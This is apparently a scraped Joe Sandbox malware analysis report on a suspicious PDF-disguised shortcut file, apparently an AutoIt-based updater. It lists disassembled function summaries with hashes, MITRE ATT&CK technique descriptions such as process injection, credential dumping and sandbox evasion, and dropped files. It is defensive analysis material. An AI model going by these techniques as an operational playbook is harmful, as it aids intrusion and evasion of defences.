Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: f50326980ad77acb457fa62ad944f7a1f70e40951583715d42b30882f7a396e1
Instruction ID: 4b1c791470878bc84a21ccd2e2aa69ab247c18d44faef3032142ca66077589dd
Opcode Fuzzy Hash: f50326980ad77acb457fa62ad944f7a1f70e40951583715d42b30882f7a396e1
Instruction Fuzzy Hash: A301B9729042587EDB28C6A8C856EFEBBF8DB15301F00469FF552D2281E575E6149760

Function 00C098B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C0B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00C0B7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00C09923

Strings

ListBox, xrefs: 00C098ED
ComboBox, xrefs: 00C098C2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 4df2e41ea62b32087a3915644e09dcb2461e682c157969e04c354896b72c2410
Instruction ID: 072ea10a6913205cb9adf839146203fe383507b9e7a2e3c406153b880ece7cc8
Opcode Fuzzy Hash: 4df2e41ea62b32087a3915644e09dcb2461e682c157969e04c354896b72c2410
Instruction Fuzzy Hash: 4E01A776A421046BCB14EBA4C952FFF73E8DF16340F14015DB856772D2DA209F08D6B1

Function 00C0993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC1A36: _memmove.LIBCMT ref: 00BC1A77

Part of subcall function 00C0B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00C0B7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 00C099A6

Strings

ListBox, xrefs: 00C09972
ComboBox, xrefs: 00C09947

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: fdd316b87801dec64be71b917989f7bbe1216516bc68c43ce5cc026110a0bffd
Instruction ID: 228f79720b966b37cfb065024f344d8f5da57d3e06b0e10f821df1b6757bee69
Opcode Fuzzy Hash: fdd316b87801dec64be71b917989f7bbe1216516bc68c43ce5cc026110a0bffd
Instruction Fuzzy Hash: 3501A772A4210466CB10EBA8CA52FFF73ACDF12340F100059B856732D2DA259F08D671

Function 00C154E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00C15501
_wcscmp.LIBCMT ref: 00C15513

Strings

#32770, xrefs: 00C1550D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: cfb436a6787a1efbebe1b0a76aec08f14efa70f6e87c119081323f1975da2b77
Instruction ID: 014f0fccc5b981b2dd13c915a6d6e5d7cbaa2c62d480699aff62c8c2afcbb1fb
Opcode Fuzzy Hash: cfb436a6787a1efbebe1b0a76aec08f14efa70f6e87c119081323f1975da2b77
Instruction Fuzzy Hash: D9E0617250022867D3209659AC49F9BF7ECEB45B70F000067FD04D3051E9709E4487E1

Function 00C08892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00C088A0

Part of subcall function 00BD3588: _doexit.LIBCMT ref: 00BD3592

Strings

AutoIt, xrefs: 00C08894
Error allocating memory., xrefs: 00C08899

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 2a13a5adf0be28197cf5730040b1647f92460947724c87648547e5854d26488a
Instruction ID: 00caca2664c9991954390d70af31278cb249da1c3a2b2a4d4bf240fbc2b17df0
Opcode Fuzzy Hash: 2a13a5adf0be28197cf5730040b1647f92460947724c87648547e5854d26488a
Instruction Fuzzy Hash: 3ED0123128536832D22432A86C1BFDA6EC88B15B51F1044BABB08651C359E59A908195

Function 00BEB4F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00BEB544: _memset.LIBCMT ref: 00BEB551

Part of subcall function 00BD0B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00BEB520,?,?,?,00BB100A), ref: 00BD0B79

IsDebuggerPresent.KERNEL32(?,?,?,00BB100A), ref: 00BEB524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00BB100A), ref: 00BEB533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00BEB52E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 17bfa232d577537072233fcb2a424dcc553e4cd851828f8cc3cf54ba0719f653
Instruction ID: f385c2581ef038dee7a6e7922782733afbb6cfc4f032639c7ff2b64306dd641d
Opcode Fuzzy Hash: 17bfa232d577537072233fcb2a424dcc553e4cd851828f8cc3cf54ba0719f653
Instruction Fuzzy Hash: 12E0EDB42103818FC320AF26E815B17BAF0AF10305F10899EE846C2341EBB0D488CB91

Function 00BF0251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00BF0091

Part of subcall function 00C2C6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,00BF027A,?), ref: 00C2C6E7
Part of subcall function 00C2C6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00C2C6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00BF0289

Strings

WIN_XPe, xrefs: 00BF00A4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: df93e3b653e0cbf24f0b76338edf28cd63d0b514c26fca8af7e087a9b46d345f
Instruction ID: 806a9504cb61d156a4f8bd150c8b5199311f40d0084bf10f85142f27e03fd03c
Opcode Fuzzy Hash: df93e3b653e0cbf24f0b76338edf28cd63d0b514c26fca8af7e087a9b46d345f
Instruction Fuzzy Hash: 72F0A57585510DDFCB25EBA0C998BFCBBF8AB48340F2400C5E246A21A1CBB14E88DF21

Function 00C19EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00C19EB5
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00C19ECC

Strings

aut, xrefs: 00C19EC6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: e2320151508ebce7d3639969744c3a559e0351113589514b2d123b922828b91a
Instruction ID: f6ac517802da274126b0818dd619928d101c04295e468645516bef3f94542b12
Opcode Fuzzy Hash: e2320151508ebce7d3639969744c3a559e0351113589514b2d123b922828b91a
Instruction Fuzzy Hash: 9BD05B7554030D6BDB609B90DC4DFDE772CE704700F1042A17F58910E2DAB055948B91

Function 00C35FD5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00C35FEB
PostMessageW.USER32(00000000), ref: 00C35FF2

Part of subcall function 00C157FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C15877

Strings

Shell_TrayWnd, xrefs: 00C35FE4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: d8eaa801b8ad005e0a9bb1467d22f50a83a180ff7e6cd9ecc370fd2ce627e9f5
Instruction ID: 7594babcd45e7db02d908ec9de10251bbb7325bda2192b22ee550fe5bd3ed782
Opcode Fuzzy Hash: d8eaa801b8ad005e0a9bb1467d22f50a83a180ff7e6cd9ecc370fd2ce627e9f5
Instruction Fuzzy Hash: 48D0C9363C5711BAE664A7709C4BFDA6A14BB46B50F110825B766EA1D0C9F06850C698

Function 00C35FA1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00C35FAB
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00C35FBE

Part of subcall function 00C157FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C15877

Strings

Shell_TrayWnd, xrefs: 00C35FA4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 3a3ba0c47a0b64f85e0c84294957612d5615b9bee4ebfc3c5481202c72a3d565
Instruction ID: 0861d1b3902e083ece8e118ee85b533de475ccba614f19fb0eaba0de8fc11895
Opcode Fuzzy Hash: 3a3ba0c47a0b64f85e0c84294957612d5615b9bee4ebfc3c5481202c72a3d565
Instruction Fuzzy Hash: EED0C9363D4711BAE664A7709C5BFDA6A14BB42B50F110825B76AAA1D0C9F05850C694

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\53429dc8-99bf-40f3-a62c-1fa218ecceb5.tmp

Windows Analysis Report
ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
